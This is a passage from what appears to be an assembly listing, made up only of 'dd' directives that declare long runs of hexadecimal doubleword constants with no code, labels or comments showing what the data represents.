0E4D7A668h, 0FE02489h, 0D080322h dd 5FC96E3Ah, 0C829288h, 433B4670h, 183808Ch, 9BDD90AFh dd 23BB0124h, 0E69A15FBh, 87533019h, 5CCA2A00h, 34358E27h dd 0E1AF05A6h, 1DA77A8h, 981D92BDh, 0C2A42083h, 939A6C00h dd 0A481048Bh, 143B8BAh, 3D1E6720h, 285E3AB9h, 2DA44044h dd 99D8700Fh, 45FD49B6h, 183E02C4h, 0BC50579Ch, 2FEACC07h dd 103CB9F2h, 63540002h, 35FCC87Ah, 904B8F4Ah, 3F92CC02h dd 0CD025FFEh, 6C40DDADh, 583F6FAFh, 0BF0ABB18h, 7929057Dh dd 0CE079E59h, 0F3A0C8C1h, 5C338F54h, 0BD014414h, 0D669F4CBh dd 0E6088D2h, 0F9DB808Eh, 0C4CEE62Dh, 0E131E401h, 1F903B03h dd 0DC1005C7h, 0C07C5398h, 3F113344h, 28BEBC2Eh, 85F2600h dd 0A3228Ah, 0F3A5B71Ch, 2F316E03h, 803F0C00h, 0DEB34B97h dd 0A226303Dh, 989D1628h, 0ACEC4F00h, 0E45F0D43h, 0D0030037h dd 0B49245C4h, 7F00E30Eh, 8FE9F0A4h, 909DC7h, 9613B995h dd 3CF1DAE2h, 5A300260h, 3AECAA6h, 0BB30EC7Ah, 182CB9E6h dd 71004090h, 0C299DF5Ch, 0B0701386h, 0EADC8059h, 2A25CC04h dd 680E83h, 0BB32E40Eh, 0D8F086h, 399CB741h, 8B79D55Ch dd 63008DF0h, 7A09C20Fh, 4D883C8Eh, 285880FAh, 5D968C09h dd 0EE05800h, 3D5C7230h, 2DA700F4h, 44ACE43Bh, 43E9008Ch dd 79CC20C3h, 0F6002277h, 90467658h, 1C1DD1F7h, 0C0804B2Dh dd 0B99FDB42h, 21C0B2F0h, 171FF5A5h, 745A0192h, 790504BBh dd 0D6783033h, 0A076877Ah, 0AC2BC22Ch, 22009h, 77522428h dd 35E308Ah, 75149610h, 88160C26h, 2B3E4B80h, 1C8CD6h dd 0CDF380CCh, 0E842E695h, 0FC87F628h, 68ED1E2Eh, 8DEAA840h dd 89690FDFh, 8427523Eh, 76C9203Ch, 7812EFF7h, 58C02046h dd 0A5A139h, 5142EC28h, 71C87409h, 853D8200h, 0B17CF290h dd 8D1E0029h, 0F6EC1A2Dh, 9B0035D7h, 0A9F76621h, 30968E4h dd 2A3F2373h, 979FBCh, 0FE6B90B8h, 3A48FC00h, 0E178AFF5h dd 0F09150F6h, 3DDA2E43h, 1F2E0098h, 0EC23453Bh, 0CE2A2800h dd 7F86BD04h, 6CA800D9h, 3512A1F7h, 0A2FE6681h, 0F99AC3Ch dd 0D6945CE9h, 0E259F004h, 6BA37080h, 310E0014h, 0AC7348BDh dd 0C402C5B0h, 0E97AD7A1h, 0E7E2850Ch, 7B167980h, 5FB61DDAh dd 0DC890925h, 1429D400h, 0D1786E22h, 0FD943E00h, 0EB193510h dd 0FC620027h, 3DC61112h, 0C5E030DBh, 8160A500h, 6CEB9932h dd 0C00A002Eh, 0A957F784h, 0C560643Ah, 1CDF6980h, 0AB9630DBh dd 0EE61E7B8h, 0EB688800h, 0A9752FE0h, 2D5704A3h, 81A4DB10h dd 0F46B45BCh, 71009C29h, 5D9396AEh, 0FEA651Dh, 0A318F340h dd 0B3FC0093h, 9BDA9F49h, 691D8C14h, 6A6700FFh, 0D4E5B5FBh dd 5080FF3Dh, 0B6C99A24h, 0F4711B18h, 44BBFA00h, 4B85D431h dd 3E622C94h, 0DD5D0049h, 0A1C57453h, 0E736C714h, 595500E8h dd 69BECF4h, 643F3FA5h, 152E4E8Eh, 4C9174E0h, 8C05492Ah dd 3F69FE09h, 0E81F0CC1h, 9330F040h, 5CA8E219h, 0F67CEC6Bh dd 649B01D0h, 0AE629E35h, 0D8F421FDh, 5D6078E8h, 0F4DDF5BEh dd 5C45E290h, 0AC3DC03Fh, 2EC89800h, 0D795397Fh, 2F890E0Eh dd 0C605C05Bh, 8415DBh, 90095746h, 42A76CC0h, 0AF45F48h dd 0B0E402BCh, 34588F07h, 8169C3B0h, 7B3F1E2Ah, 0F16BC05h dd 725C44C9h, 0A21C9157h, 0C67BC4EEh, 0FFFBA00h, 8DF96ED8h dd 217D2453h, 761E0318h, 0F6F8FBF8h, 0A7034674h, 0BABE02AFh dd 0CA203A22h, 33801380h, 9B1A5F51h, 5A0AB807h, 0DDF0D741h dd 2183F96h, 0B93A5769h, 1048A128h, 8801ED8Dh, 0F667343h dd 61E4961Fh, 0F3098C9h, 44EEC27Ch, 8470A680h, 3903B5E2h dd 0E942B9BAh, 0EBFF98FDh, 0F880C067h, 9B73C344h, 0F9303B00h dd 0BAACE7A7h, 8E6A0086h, 7EE1CDCEh, 6C0353F8h, 0BF8FE820h dd 67B0E85Fh, 0C9E297h, 0AC0E3EB3h, 475D60EDh, 0E98B3D03h dd 0D0BF161Fh, 5CD89F1Bh, 0D10AA4E7h, 1ECE0ACh, 949A05BDh dd 0A60A00FEh, 324E6ECh, 9F901926h, 5CEB84ACh, 0DCB71AC0h dd 9ABC5600h, 0AB99F5BEh, 36C07DAh, 0B0E9612Eh, 1A6FE1AEh dd 95654A07h, 0F692E02Ch, 0EE070E60h, 0E0A0F910h, 50E89CEAh dd 0A324CD0Fh, 0CBB12034h, 0BAE7D3DBh, 37A9018h, 0B0CC1D90h dd 2800CE3Bh, 4DE30B65h, 0BB01D3h, 0FA06999Eh, 1975A0F7h dd 0C0D22A00h, 64D6CD72h, 55C40BBCh, 1890CED8h, 9A9075A8h dd 0BA58BF03h, 940F0732h, 1F06F980h, 0AC9706E0h, 0B037DF3Eh dd 308470FDh, 3979D88Bh, 5A2B005Eh, 0B2897308h, 5003564Ch dd 9BFBBAD0h, 204DB8F8h, 6C3C058Fh, 0A4E6798Ah, 0A903FB74h dd 407ACEA6h, 1F3880F0h, 70451DECh, 319180E0h, 0D66EA13Ah dd 688BB71Dh, 59A4813Ah, 9E712D63h, 0CE812881h, 62D10462h dd 1846318Ch, 0D06930E2h, 0B20FB903h, 0B1AF28ADh, 0F4A33C49h dd 93120B04h, 74008E8Ah, 0D89DE86Fh, 85309FFh, 70201CADh dd 0FA12D4BFh, 0FE3D4C3Eh, 550083F2h, 0AEEB5685h, 0B089DA0h dd 41073D4h, 257E6780h, 180057A9h, 52A10AA5h, 1E092DCh dd 8D775F31h, 0FC78A355h, 58B6688Eh, 4C3C6C00h, 1C5F4Bh dd 0A48F361h, 53ABB169h, 4AF91101h, 7975CBEBh, 0E24652C4h dd 289F79CFh, 0CF95E0h, 62AB064Dh, 0BC415084h, 86AE5503h dd 0E82ED58Ah, 0FCB4570Ch, 9B1039FEh, 97406097h, 0F90802F8h dd 0D6170CD0h, 0D8902078h, 0C30D7744h, 0CE4576A0h, 903B90C1h dd 4582D11h, 133C205Eh, 1A3CE6FAh, 46E0662h, 2F287F6Dh dd 0CA0B9E5h, 0DB587326h, 0AC00E37Dh, 2434E82Eh, 4F9331h dd 0FB4AF61Bh, 0E5F2FDE2h, 0F7DB8805h, 7CF49873h, 611980E0h dd 3A603D51h, 0E55B6080h, 1A1FE35h, 7A7C7287h, 0EC75BDF7h dd 4A1714D0h, 20C81971h, 779072Ch, 47813087h, 0FB7E90C6h dd 0A6005093h, 5DBC1ADDh, 559FC20Eh, 1340D067h, 1E35FAh dd 8836029Ah, 0C297F3B8h, 0E5DCF518h, 77C685A1h, 0EA3007Eh dd 68E76138h, 0A8C3C59Bh, 0CEC4E9h, 18634029h, 0FDB09109h dd 5A12E417h, 5900761Fh, 829361C2h, 45E1C0F3h, 172854Eh dd 0B9896C06h, 218B30Ah, 588C6397h, 2C80EDA0h, 6E181E50h dd 595CBA71h, 803D3C18h, 7F879BA5h, 1829B0B4h, 31F4DBF5h dd 0AE00EAB9h, 199B0E4Bh, 0F6E2CCh, 9A93A62Dh, 9269ECA9h dd 7B232C0Ah, 398C844Bh, 37099FEh, 5488020Dh, 26987EEDh dd 627A0A64h, 0FD1ABC04h, 0C9C12CA9h, 80515ABBh, 0FAD823C2h dd 9676FFh, 38981B9Eh, 44A5E60Ch, 21011EEAh, 0E3CE1AECh dd 0B310F482h, 58007684h, 38753EF9h, 0FE6C557h, 0DA46AE72h dd 0F060B7C0h, 0E3001F98h, 23512B3Bh, 58E50175h, 7300DED3h dd 0D5BA9CA5h, 2F0726E8h, 76963443h, 0F1BF9820h, 836500E1h dd 0B7796BCCh, 0F900EB48h, 0D761C736h, 0E64607h, 0B63B33D0h dd 0B4CA157h, 0E1D27A00h, 0F9995804h, 1F30168Fh, 6E600B7h dd 0CEF5A9EDh, 90009478h, 0A350E4D6h, 55FAE8h, 71BB53B5h dd 0FB35FF2Ah, 0DD00FEE2h dd 6A402FC9h, 3802BE8Bh, 0EC80AD23h, 114ED26Eh, 2801ABA2h dd 311595D5h, 16203959h, 3307324h, 0A2D1DC0Fh, 7C90D084h dd 0E900D36Bh, 0A63751A9h, 76F6771h, 0F9F73C6h, 78689085h dd 0DB0052A4h, 0E62A9480h, 69B647h, 0BC72D342h, 5D0140E5h dd 780FD900h, 1B56C693h, 0F42772C9h, 0F4C13C49h, 0B405A487h dd 228170ADh, 153EF114h, 884100A2h, 0FFC0982Fh, 253407A0h dd 809F40DEh, 573C4F46h, 0D80083E0h, 9695E3B0h, 1DAD87D4h dd 409E5EAFh, 0EA6FB440h, 6B071389h, 0B35622CBh, 590443B0h dd 0CB006h, 68C49ACAh, 5FD6BF9Dh, 3CF3D503h, 88E90E85h dd 6194B1A7h, 0D23850BBh, 27A050DFh, 0CB00A665h, 7E3B20F4h dd 1925D77h, 83456971h, 0F0F699ECh, 7D00CADBh, 0D4706EBBh dd 3925AFFCh, 17004A4Ch, 0A6AB3DB0h, 7A788705h, 0DE19531Fh dd 4ABFEBC0h, 1608868h, 0FFCB355Fh, 7050B5DFh, 0F9303F31h dd 0D51398E1h, 1B260038h, 5870C5FCh, 5A7B011Dh, 0B0B2DA30h dd 32C4A6Eh, 0E20FF07h, 0C8934710h, 0C1A842EBh, 0CB0E4CB5h dd 40A6EE81h, 80977819h, 0F8DF0A98h, 3B4E55Ch, 0ED7188B9h dd 30C05EE8h, 0F705083Ch, 30C8A524h, 2261B200h, 78818CF9h dd 78F5079Ch, 0C05503F8h, 9ACB2E91h, 8D994500h, 56974735h dd 5FEB0090h, 673CE663h, 0C70C338Fh, 705ED962h, 4DFD00F6h dd 3D45C837h, 0F800AB4Ah, 0B966BD3Ah, 0D64B14h, 0DEFB6F33h dd 4AE07A8h, 5D486400h, 6D9220C6h, 0FE1701CEh, 757BDE08h dd 95A440BEh, 56036460h, 4FC772CBh, 0C3A98813h, 79FC00CDh dd 39920AE3h, 697687E5h, 0D0149D14h, 288B3DDDh, 3200A0FBh dd 0D1EA561h, 77795E2h, 4B63F553h, 0DB0EC09Bh, 0B501BE40h dd 0D85076D5h, 37F2C81h, 0F70635E4h, 7712D83Ch, 26C53901h dd 5CC1FB66h, 54A3820h, 0ADE07723h, 0EBA380D6h, 0CE002B99h dd 0AB55C72Dh, 0F4AA6452h, 3A54130Ah, 0DB7B00ADh, 62712918h dd 2C2A900h, 0F65533AAh, 0AEC30067h, 2A518163h, 5300FB8Fh dd 1CCDFF79h, 0E6E1C8h, 3C809C61h, 0EAE53AB4h, 812BE338h dd 43D8EEA8h, 0D0D0B66Ch, 39687C07h, 0D4018E35h, 649F12C3h dd 0DB28808Bh, 6894E4A2h, 551100D1h, 762AF819h, 0F70718C3h dd 16B8EB88h, 70809FD0h, 8C2100E3h, 0ED63D6C1h, 5F002977h dd 0C7E5DD09h, 665D83h, 0DFAA2587h, 0B2AB617Ah, 0D2A43Ch dd 2D44B055h, 861385h, 2B1EC559h, 4767DC80h, 8057433Eh dd 5C85530h, 4AFDCCh, 0CFA764A9h, 4132AC7Bh, 0B8A29100h dd 0DD832BD5h, 77C0030h, 47BA4201h, 0E600AB45h, 2CBE0EA2h dd 0EA2AE8DFh, 637200FEh, 741C4EE1h, 0F3003283h, 0BFA27BD4h dd 31EE96Dh, 0FED15BFDh, 0DAA05653h, 210020F6h, 0EF2208A0h dd 760910AEh, 0EF845C3Fh, 571ECF00h, 433A283Ch, 6960480Eh dd 32ED0005h, 0EB3DDB1h, 0D231075Ah, 0B4708AFFh, 0C687009Ch dd 0DB087929h, 8565D100h, 4883E65Dh, 4BC9004Eh, 53EE4A25h dd 23000D0Bh, 82F21B08h, 0ADC094h, 0F5693FEFh, 7343CEC2h dd 41465B00h, 0CC04D3B1h, 8A936018h, 85F9A2Bh, 57F8FD4Fh dd 28E17500h, 81BFB52Ah, 0B2CBEC00h, 989B3F16h, 0D5E6006Eh dd 0EA61FDC1h, 153F2A31h, 0B61080B7h, 0CCA351D6h, 81E262h dd 3DE0ACE6h, 2F6D58ADh, 0B1BB63Ah, 116D385h, 1781835Fh dd 5D0EF8h, 0F3AD138Eh, 12CC7298h, 5E25E207h, 30808886h dd 2F8D3Fh, 9870627Eh, 94469085h, 17876000h, 77A364D9h dd 0BFAE0C03h, 96199578h, 97803D00h, 3F46B57Ch, 0F667069Ch dd 0B01491BBh, 0BAB68B07h, 0BF608263h, 5C21A98Fh, 6F0086CEh dd 4099017Ch, 7009A23h, 34668357h, 285D5Ch, 0A34E69ABh dd 0BA80586Bh, 80FA6838h, 70244320h, 3AD623A9h, 8680FCCFh dd 0E5E33403h, 6003816h, 0CC46693Dh, 414A7Bh, 82A0C187h dd 4E016B8Dh, 970FC678h, 0E72A4798h, 30800466h, 98F6DDA6h dd 27A10321h, 4B3368C6h, 237D1EF8h, 88809900h, 8A2B5C3Fh dd 9C67973h, 871C28B5h, 87A1BB87h, 926CD0AEh, 23012991h dd 0B7B01561h, 0BACCAC5Ah, 6E7F14A4h, 8E28B2B4h, 0DB7A01C8h dd 0A51ACEADh, 3489CC51h, 0BD793Ch, 8A949164h, 0A9BFFAh dd 23B5C407h, 0AF63C27Fh, 0E3B60200h, 201292E7h, 7F83CAEh dd 0AD8CD087h, 0B826F004h, 0AA0FD568h, 8082F3BCh, 31DC46D8h dd 0D0E454h, 0B566E49Ch, 6CF3B2Eh, 37986F07h, 9BE0BDC5h dd 7B54CCh, 886DF20Dh, 641F5D93h, 11633500h, 19DEB71Dh dd 3B8000C8h, 0CB2DAC56h, 40007A67h, 30F55F4Dh, 797ED3CCh dd 0FBE100B4h, 1C075E3Ah, 7A019F9Dh, 9572B96h, 0B8E3B712h dd 65A8D6Ah, 23342198h, 160E60A5h, 98ABC992h, 3B23670h dd 522CA084h, 47A0B587h, 10A0A595h, 0A6023F32h, 0BF8BD46Eh dd 0BB1CC093h, 17E800C1h, 8AA39C11h, 0F2006761h, 0A62F188Eh dd 6BEFD7h, 2C402B72h, 0B658C949h, 0E09A78CEh, 61A492CCh dd 7C61C0ACh, 2DE84CE3h, 6B84BA07h, 9B908BDCh, 927BEADh dd 0C1EDAF2Bh, 0C0BD0304h, 84B6BF9Dh, 2A32A306h, 3A9092A5h dd 0E48993BAh, 0D0A1E86Bh, 50617294h, 487CE7A8h, 9645F400h dd 0C4169C35h, 0FE73EEh, 8921EDF2h, 0B498E308h, 519AC800h dd 9EAAF3Ch, 0C6320016h, 75CDE796h, 8A00E4B5h, 0BB99D994h dd 7C971AAAh, 0A9D03EEDh, 5A62F700h, 0EE7D2AEAh, 18703Bh dd 969ACC2Dh, 14B1E4Eh, 0FD59CF81h, 0C5F3FA77h, 4D2ACC5Eh dd 1874041Eh, 80B8CD8Eh, 0C25F2CE2h, 55D41CA9h, 29D40CCh dd 8991A5BBh, 455DC000h, 0A0F997C9h, 669C28ACh, 12602C5h dd 3C602C80h, 4696AC90h, 4B58647Fh, 0D93D705Bh, 500C94Ah dd 0F130AE0Ah, 2038716h, 0E95C8EC4h, 98DC6C96h, 271303C8h dd 83E06BEDh, 0B4C75000h, 34888433h, 85A60EF8h, 7AC3328Bh dd 64D02E38h, 0FE04A58Eh, 339B46E7h, 0D12417C0h, 56DE0A3Bh dd 81CCEF38h, 96A32030h, 0D52080A0h, 0CE99E2D7h, 53760CA9h dd 11A0173Bh, 4E358000h, 2E93A2FBh, 7B1E3E5Ch, 7CCA7F00h dd 0B13CAA5Fh, 3F8EE9C0h, 243BA0F1h, 6C2CC6h, 4F561031h dd 1D000CE0h, 0D72D17BEh, 1A585h, 88D2DB03h, 369D6037h dd 0F0A13Eh, 2DF92502h, 78D8BBB7h, 6BBA0067h, 0B693352Eh dd 6E038789h, 0E6502AA0h, 39A9A39Fh, 0B7841021h, 0ABE2F9B2h dd 93E151C0h, 27CD1A9Fh, 77C06144h, 7907BAD5h, 7742402Eh dd 8B104Ch, 0F093C18Fh, 88A661DCh, 0A086466h, 69C80021h dd 0C353AAC2h, 7D0462D6h, 0FC0C3C3Dh, 41F06B47h, 8720D397h dd 7D838E11h, 87191CE0h, 43A71DFFh, 0D4490C86h, 4C006320h dd 22FB767Dh, 1BAA7Ah, 1ECAF727h, 70AF5FECh, 72D5DA0Eh dd 8887EA34h, 80277A00h, 0F8A1317Ch, 4D361554h, 551094FAh dd 0B6D8C061h, 43F6881Eh, 0F1229Fh, 0F5B6904Bh, 719EC075h dd 18A80418h, 0C09DD0C9h, 2A8216A1h, 9207C93Ch, 0A3C34095h dd 63C1EC13h, 2A0A8070h, 0FF009971h, 0A95BA274h, 3A122F0h dd 0E7F87FF6h, 7AD83D5Dh, 0E4EB6C46h, 0AD00F21Fh, 0E85CC605h dd 0F441CB32h, 8E343B52h, 9E61D004h, 0A0D8815Dh, 5B3670E9h dd 400D9E2h, 8A8DD69Dh, 709DE02h, 0E452D0DAh, 0D9F3904Bh dd 48E6EAB7h, 707F3100h, 651CFFF6h, 7D803CADh, 0F0C0BA02h dd 9E803B1Ah, 0CFF1E93Ch, 0AE784500h, 771E625h, 6B9F006Ah dd 9163045Ah, 86009CB2h, 0C3F7BEFBh, 282613h, 0CCB8F94Bh dd 0D3B05ECDh, 1BEE3E1Ch dd 0A279CB00h, 0B6D1D9h, 19BA755Ch, 57F2F341h, 785DB03Eh dd 803D4038h, 0B3E5862Ah, 7D060778h, 0B1810023h, 4DCD3C7Bh dd 9900BCD9h, 74475EBFh, 0A264BEh, 0F32FE10Eh, 44337CC3h dd 0CC584200h, 57162AB4h, 17210034h, 0FC89CB20h, 7500AA76h dd 85587C02h, 22F15Eh, 0A44A8138h, 4C23C59Fh, 0E7FBE400h dd 0AEC8D57Ah, 61A603D6h, 20A8C00Ch, 6F170790h, 0E5446E00h dd 7F0BC7F5h, 0A7D00F09h, 6080B445h, 31BC1157h, 5EDF9F01h dd 777AAB44h, 50FD4180h, 21B1025h, 0D1E71900h, 63D4E964h dd 0A1B20129h, 845EE0ECh, 51453096h, 248F0C00h, 148C3952h dd 88643D30h, 1F29B80h, 0E572DA45h, 0BBD4921Fh, 0FAF64A06h dd 41DCFF50h, 72930055h, 7F525DDEh, 4005997h, 4421B2CDh dd 25179F7h, 0ECA43558h, 12C0E764h, 0DB001250h, 90D5FCABh dd 48192559h, 1400887Ah, 55150649h, 90FC923h, 6BD2AC96h dd 86C3006Fh, 48CF78EAh, 8B00B5CAh, 4559B020h, 43009908h dd 0A6A5A05Ah, 0ABBE8h, 0D036AE4Bh, 6FBEED20h, 73D24624h dd 769C7400h, 0ED69BFCh, 51CE8D4Ch, 0AAB27140h, 78006E43h dd 423349B9h, 0F6F2B446h, 0F1E6CCh, 3A91C6B0h, 5A6DDEA4h dd 0FD359700h, 0F89E80FCh, 0FDF3F14h, 3804B3Ah, 0F0D9C89Ch dd 0C23EA548h, 62928FA3h, 1DDF01B4h, 96F5EB2Dh, 1C53EC0h dd 0D103236Fh, 40FDC48Bh, 0CFF90F88h, 0C3CAF600h, 672A3410h dd 21C90054h, 0A74DD696h, 0BB009E5Ch, 0CB72B7E1h, 0F7FBF2h dd 829BDA1Bh, 3839BDB9h, 0A0FCA802h, 805E7D61h, 0F7F3F9A4h dd 0D2B71D7Ah, 0D8A87Fh, 191A7C27h, 7B99FC67h, 0D1055F02h dd 0A58EB586h, 8C5DC8E4h, 105CA540h, 0F1DFF9B6h, 8F2AE840h dd 451D004Bh, 0BBDB9F84h, 6F001A52h, 0BD7AA7F0h, 8B51E8h dd 0FB23C026h, 39EA80B3h, 0D638FA2Eh, 5E62070Eh, 87CC6C80h dd 0B88412h, 57B14769h, 48CEF54Fh, 86BFB307h, 90F0FDC8h dd 5047A756h, 0E1FCB4h, 3065EEC3h, 624B2979h, 0A6466C04h dd 8080E753h, 77494ACh, 10804276h, 9F1D12E0h, 41F294C0h dd 17AEF600h, 0FC50D5F8h, 0F57200EBh, 6DFBDBBDh, 0C814403Fh dd 80E231h, 0C45721D5h, 138C5EE4h, 0C4908ADh, 0ABE0E8DFh dd 8EFB5501h, 808322B8h, 72F900C7h, 2CEA43C4h, 0C318FBB2h dd 8AB94C54h, 489212F0h, 0A45400B1h, 0BC4F8D46h, 6408A100h dd 0F9AE79F2h, 0B9FA00F4h, 431F1A39h, 26014E58h, 0AD0A9656h dd 27C0D78Ch, 0E71700E9h, 8AEADAFFh, 3F0065FCh, 50C394ABh dd 2531B5h, 0B3824BE2h, 0BD18D7EEh, 22803F00h, 0F32B35A2h dd 0B11300E7h, 60D46CD2h, 3200CBEDh, 848223ADh, 7CE91CE5h dd 2EE6004Dh, 860A3569h, 273E3A14h, 49C98F81h, 0EEF9405Bh dd 7DFD08F5h, 766700DAh, 0EA09A394h, 0CA0035B4h, 49D25303h dd 0EE7B7FAh, 0E224F58Fh, 3EEA20E0h, 220275D7h, 0E52D9451h dd 42F660F0h, 82BCA096h, 1EDC3EF5h, 0B3D25600h, 0E7F65FBEh dd 95F95202h, 6057AD11h, 0EBA89Fh, 0D5F154E2h, 13D89B9Fh dd 0BF1FF900h, 2458611Dh, 0FB8801F4h, 0AC52D6B7h, 2B2AC83Eh dd 0AEC2BC00h, 0E82F4015h, 0D7D10058h, 6939C3D8h, 0A7EC3702h dd 0F9F4D077h, 0F700FF70h, 4E67C8CBh, 0EE993Dh, 9759077Bh dd 77B2B4DFh, 0EBC5A900h, 4C4BFCAh, 0C3C7676h, 90AAA263h dd 0CE1EBDD0h, 4242D64h, 9206A381h, 0C9F0456Bh, 1FEA00FEh dd 0D84C7728h, 7D71E22Fh, 44A54Ch, 0D3621286h, 6BAABCh dd 0B206947h, 0BB2BCD6Dh, 67971803h, 93C22FAh, 0AB707758h dd 3B657780h, 91009092h, 33E3FF76h, 12CB50D9h, 744286h dd 0C497B264h, 58C0B523h, 0F59EF9B9h, 71EE0059h, 6111EBD9h dd 9704A44Ch, 0DE8C443Fh, 9B909980h, 85951C5Ah, 0CA8C125h dd 417AEA7Fh, 204B0BBAh, 0E0075058h, 0F0BD5D21h, 0F836CC30h dd 523500C8h, 92D459EDh, 0C9F12B83h, 0C34F896h, 0B324B816h dd 7D287A00h, 29B2Dh, 81555171h, 0E8EB4003h, 2E7A7B39h dd 0D60E52B0h, 25690066h, 418555h, 5FB79388h, 60BFD3C5h dd 0D5954200h, 0C61EC1EBh, 331C0512h, 835F50E3h, 0D4A0AA89h dd 28017452h, 543EF0B0h, 312042CCh, 0DC3103D8h, 0F16FFC7Ah dd 0A5AF2FA8h, 3B18B91Dh, 7F305500h, 69A9E3h, 152220E6h dd 32F2345Bh, 75C73500h, 0CBCFBE92h, 72250055h, 8368E43Ch dd 0BD008481h, 65AF86BAh, 0C83B17h, 53E114A8h, 620DF77Ah dd 0F6394907h, 602EA98Ch, 5186243Fh, 46B2003Ch, 0BBEFAE9Fh dd 48003836h, 35B68084h, 56C79C1h, 0C0A1D692h, 5FDCC10Fh dd 0CD27F4BFh, 7E071800h, 0AD71FD1Bh, 0BD970C85h, 3C100FBCh dd 0C6288802h, 604957E5h, 0F5845B4h, 2B60C87Eh, 0D3A65943h dd 0EFC56AC0h, 46C65600h, 3D9C33E7h, 90A77866h, 55941E44h dd 2CD8801Dh, 61E82E10h, 0F8A13200h, 7639583Ch, 8FEB0971h dd 8403D61Bh, 61A0438Dh, 46029155h, 6BC65149h, 81356066h dd 2CFB3DF5h, 6C8BBC00h, 310A032Bh, 0C1BD0800h, 0E962DF80h dd 51850C99h, 0FCB086B4h, 68E16902h, 40617CB9h, 0C37334h dd 4B3AB46Eh, 89C63E42h, 0D35FCF3h, 500ACF3Ch, 450060D3h dd 246B3F5Eh, 0FEF32083h, 0A87B0016h, 62B9D23Ah, 53245433h dd 4E017F98h, 0AE7E857Ah, 1CBF9F0h, 368112A5h, 6401A3DEh dd 20C95094h, 0D8900705h, 0C6E36187h, 0DCFFA034h, 0F0D47C5Bh dd 0A66003A4h, 0E02CD3A9h, 0F21526A0h, 2B00F6FAh, 0FC800189h dd 9FE5DBh, 7D42285Eh, 873BFE2Ch, 7C2F9402h, 77D1A122h dd 8B2688F4h, 0DECBD802h, 824481BCh, 0A9F1AD33h, 67C0F0h dd 535DCC0Eh, 0F9ED10EBh, 0CDE37A00h, 0DE0A8161h, 0AA1CA8E7h dd 0D96231ADh, 0CCAC6AE0h, 0FC021AB6h, 0A3D42CDEh, 804762BEh dd 9665B09Eh, 7E5C01C8h, 0E785185Eh, 377870A3h, 2A772274h dd 65D1AF03h, 0C10DA2DBh, 39ECCDEAh, 1EF51D26h, 87E80038h dd 0D92C41AAh, 0A300B4B2h, 540A9A78h, 1524B31h, 0C998F24Dh dd 28FB2625h, 43550014h, 0C7F14296h, 6F87FE16h, 212018AEh dd 0CDD4A5FBh, 6050E360h, 0F2B0A2h, 0A827167Ch, 8440256Ch dd 7AF1CE67h, 578EDEB0h, 22E63D45h, 0BE121B3Ch, 7912EFh dd 66D7D0ABh, 0DC00F6A4h, 74E7DB9h, 2450BE9Fh, 3869A0h dd 94924F2Ah, 0A1C0E226h, 637D960Ah, 71D000FAh, 6D5239DEh dd 500E3F1h, 0C57C860Ch, 3B28FC47h, 0F3065B4h, 98E14839h dd 2FB34001h, 31AB0CDh, 4004EC93h, 0E1D062B8h, 0FBE23E10h dd 0C2484D04h, 0DD80C68Ch, 0FA353FE5h, 0D04307FEh, 0D0C33233h dd 0B71E96E9h, 0CC292600h, 56E42E4Bh, 43E6002Fh, 55417D2Bh dd 9F0348Dh, 0E33C2A78h, 0A6829DEBh, 0B5D37B06h, 75800011h dd 7AD478Bh, 0AE1D7D08h, 921809D7h, 0F06FE21h, 66B0328Bh dd 3ACF1103h, 24A15029h, 6E188C59h, 0B8934700h, 0F93863A5h dd 7202079Ch, 0E0332B6Ah, 17964C3Eh, 0E0825401h, 0C2134F4Bh dd 3D5C51C4h, 0F8C6B2Dh, 0E0504033h, 10AFE900h, 515D2BEEh dd 0AA3C0092h, 76D9E19Bh, 290021A9h, 679DDEC3h, 0F63287h dd 892DE523h, 9E06A2BAh, 0B4C47100h, 0A58FDA50h, 84EF0747h dd 5088BE83h, 6A4F0464h, 0BD113Ch, 961BD741h, 3E28B6Dh dd 3448C605h, 0C890FA85h, 0C105F3C7h, 26323CDAh, 0B3E48880h dd 0A37A004Ah, 90F9C869h, 0C5002ABDh, 851F2C88h, 0F37705h dd 156BCD8Dh, 41FE2194h, 0BF458302h, 0E0B4F131h, 0B974D2h dd 7D6CD9CBh, 0E5E94ABCh dd 41A8BD01h, 24FE029Fh, 0E5D1ED0h, 58096725h, 20BC2886h dd 0FD3A3900h, 55544F89h, 83D1003Bh, 430A7732h, 0DB00D759h dd 1CA49272h, 60E9FA96h, 9B6659DCh, 2B1C8627h, 197A891Fh dd 6A300658h, 335BE2E4h, 0E110FE56h, 0CFB028BBh, 0E80062C9h dd 6BECB184h, 6C6C6FF8h, 4DB889FFh, 0FD2F028Ch, 5F46A067h dd 0E108119h, 0B600FCE7h, 761D1F8Ah, 0C1CB4792h, 0AA2F7870h dd 57B08082h, 2E6C35FFh, 0E138C0FEh, 7043844Fh, 3D29651Eh dd 8CF80D4Eh, 0E821A7h, 627A8AD8h, 792CF44Ah, 0A63BF200h dd 0A9B644D7h, 0D68614DCh, 83ECB46Fh, 4C5C3A8Ch, 0C8E4A100h dd 0E1D6DA82h, 7C5B840Ch, 30CAB02Fh, 0FF309890h, 53988C3Fh dd 8F7B6480h, 76295C60h, 2C67EDB9h, 815533h, 0CC7A5875h dd 0E10E8E8Dh, 0E0C3C731h, 0EA20ED12h, 63250EA6h, 5740D77Ch dd 18914038h, 0C2DF2800h, 0FB5B50CBh, 0F57300D1h, 68CE0DDh dd 0C40020EBh, 80E840DFh, 688184h, 0B282D9C9h, 0FC271CDDh dd 7E629E07h, 0C8B063BBh, 7A6828h, 0FA4D1F43h, 0A8538FDFh dd 308C6200h, 2D34CBE0h, 2AAF00E6h, 521B27ABh, 4900E732h dd 0A9FFE4F2h, 9B6CD6h, 672E6AEAh, 24875576h, 0B4F1B0Dh dd 0CEE03026h, 0D3A1677h, 0A801BEE6h, 0A4F95924h, 0E05B20h dd 569B057Dh, 6E778740h, 11AD7F00h, 0E967FE46h, 0A529006Ah dd 2EB62A03h, 4300888Ch, 0A9B99E57h, 121ABA4h, 0C37A3F6Ah dd 40AD6036h, 0BCF2EE0Ch, 580059EEh, 0B0D82E56h, 0C14C6C5Ch dd 0A176C8A0h, 3E608062h, 0AF2CA833h, 0DB5005Ch, 152E30E5h dd 0B40017F4h, 0C17A6AADh, 0F9BDBCh, 11B0BF1Bh, 4680C043h dd 0CDB9770Ch, 544822h, 165E1594h, 0C1FCD8BFh, 66012DFAh dd 0E4E66D7Ah, 0F5F882F8h, 50A500BEh, 5E4B6943h, 0C200D4FDh dd 0E3926315h, 0C61657EDh, 8020110h, 3EA45E00h, 49431E42h dd 772079EFh, 6D68C7FFh, 2C4010E5h, 87004F93h, 0E28E0755h dd 7D5D1DA1h, 5E810172h, 15A583E1h, 0DE99D023h, 